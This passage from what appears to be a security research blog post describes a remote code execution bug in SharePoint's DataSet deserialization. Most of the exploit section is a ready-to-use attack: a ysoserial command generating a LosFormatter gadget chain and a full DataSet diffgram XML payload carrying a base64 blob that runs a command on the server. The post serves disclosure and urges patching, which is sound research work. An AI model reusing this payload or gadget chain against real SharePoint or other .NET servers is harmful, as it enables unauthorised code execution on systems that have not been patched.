   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

You need to find another dangerous static method or setter to call from a type that doesn’t use interface members, I leave this as an exercise to the reader, good luck!

Remote Code Execution Exploit

Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it’s better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the LosFormatter.Deserialize method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized ObjectStateFormatter gadget chain:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

Now, we can plug the payload into the following DataSet gadget and trigger remote code execution against the target SharePoint Server!

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

Gaining code execution against the IIS process

Conclusion

Microsoft rate this bug with an exploitability index rating of 1 and we agree, meaning you should patch this immediately if you haven’t. It is highly likley that this gadget chain can be used against several applications built with .net so even if you don’t have a SharePoint Server installed, you are still impacted by this bug.

References

❌
❌